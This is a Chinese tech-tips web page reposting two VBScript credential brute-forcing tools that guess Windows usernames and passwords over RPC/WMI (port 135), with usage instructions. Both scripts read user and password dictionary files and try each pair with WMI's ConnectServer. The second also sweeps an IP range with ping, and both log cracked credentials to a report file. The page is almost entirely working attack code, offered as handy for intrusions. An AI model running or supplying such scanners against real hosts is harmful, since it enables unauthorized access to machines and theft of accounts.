首页 电脑 电脑学堂 查看内容

135端口扫弱口令的vbs

2009-10-20 09:08 916 0

摘要: 作者:lcx来源:vbs小铺On Error Resume Nextset fso=CreateObject("Scripting.FileSystemObje...
关键词: nbsp writeline wscript pass password user username dic ipaddress fso

作者:lcx来源:vbs小铺On Error Resume Nextset fso=CreateObject("Scripting.FileSystemObject")Function filenumshow(filename,i)Dim temparrayif not fso.fileExists(filename) then exit Functionset f = fso.opentextfile(filename,1) if not f.AtEndofStream then tempcnt = f.readall temparray = split(tempcnt,chr(13)&chr(10)) filenumshow=temparray(i) f.close End if End Function Function filenum(filename)Dim temparrayif not fso.fileExists(filename) then exit Functionset f = fso.opentextfile(filename,1) if not f.AtEndofStream thentempcnt = f.readalltemparray = split(tempcnt,chr(13)&chr(10))lineNum=ubound(temparray)filenum=lineNumf.closeEnd ifEnd FunctionFor i=0 To filenum("c:\user.txt")user=filenumshow("c:\user.txt",i)If user="" Then Exit for For l=0 To filenum("c:\pass.txt") pass=filenumshow("c:\pass.txt",l) wscript.echo user&Space(5)&pass Call Scan("192.168.8.10",user,pass,"c:\log.txt") If Err.number=0 Then wscript.echo "find!!!" Exit For End if wscript.echo Err.number&Space(10)&Err.source&Space(10)&Err.Description Err.clear nextNextSub Scan(ipaddress,username,password,report)set objlocator=createobject("wbemscripting.swbemlocator")set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)Set colItems = objswbemservices.ExecQuery("Select * From Win32_OperatingSystem")with fso.opentextfile(report,8,true).writeline "==================================================="For Each objItem in ColItems .writeline ipaddress & ": " & objItem.CaptionNext.writeline "username:"&username.writeline "password:"&password.writeline "===================================================".closeend withend Subset fso=nothing++++++++++++++++++++++++++++++++++++++++++++++++++++++Enjoy Penetration Testingon error resume nextif (lcase(right(wscript.fullname,11))="wscript.exe") thenwscript.echo "Execute it under the cmd.exe Plz! Thx."wscript.quitend ifif wscript.arguments.count<5 Then wscript.echo "RPC_Scan.vbs" wscript.echo "Code by NetPatch(www.icehack.com) 07.7.5" wscript.echo "Thx KVO,Lcx" wscript.echo "use: cscript "&wscript.scriptfullname&" Begin_Ip End_Ip User_dic Pass_dic Report_Path" wscript.quitend ifBegin_IP=wscript.arguments(0)End_IP=wscript.arguments(1)User_Dic=wscript.arguments(2)Pass_Dic=wscript.arguments(3)Report_Path=wscript.arguments(4)S_Ip = Split(Begin_Ip, ".", -1, 1)E_Ip =Split(End_Ip, ".", -1, 1)If S_Ip(0) = E_Ip(0) And S_Ip(1) = E_Ip(1) And S_Ip(2) = E_Ip(2) And CInt(S_Ip(3)) <= CInt(E_Ip(3)) And CInt(E_Ip(3)) < 255 ThenSE_Ip=S_Ip(0)&"."&S_Ip(1)&"."&S_Ip(2)Set objPings = GetObject("winmgmts:{impersonationLevel=impersonate}")set objlocator=createobject("wbemscripting.swbemlocator")For num=CInt(S_Ip(3)) To CInt(E_Ip(3))aMachines = SE_Ip&"."&num  Set objPing=objPings._ ExecQuery("select * from Win32_PingStatus where address = '"_ & aMachines & "'") For Each objStatus in objPing If IsNull(objStatus.StatusCode) or objStatus.StatusCode = 0 Then If user_dic <> "" or pass_dic <> "" Then set fso=CreateObject("Scripting.FileSystemObject") Set file=fso.opentextfile(User_Dic,1,false) ok=false do while file.atendofline <> True user_dic=file.readline Set files=fso.opentextfile(Pass_Dic,1,false) do while files.atendofline <> True  pass_dic=files.readline wscript.echo "Conneting "&aMachines&"...." wscript.echo "user:"&user_dic wscript.echo "pass:"&pass_dic call Scan(aMachines,User_Dic,Pass_Dic,Report_Path) If Err.Number = 0 Then Exit Do Err.clear Loop files.close Loop file.close set fso=nothingEnd IfElse WScript.Echo(aMachines & " is not reachable")End If NextNextEnd ifSub Scan(ipaddress,username,password,report)set objWservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)Set colItems = objWservices.ExecQuery _ ("Select * From Win32_OperatingSystem")with fso.opentextfile(report,8,true).writeline "==================================================="For Each objItem in ColItems .writeline ipaddress & ": " & objItem.CaptionNext.writeline "username:"&username.writeline "password:"&password.writeline "===================================================".closeend withend sub用法:cscript RPC_Scan.vbs Begin_Ip End_Ip User_dic Pass_dic Report_PathBegin_Ip //开始IPEnd_Ip //结束IPUser_dic//用户列表Pass_dic//密码档Report_Path//输出报告路径利用RPC(135端口进行密码猜解)//渗透时比较好使. 
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部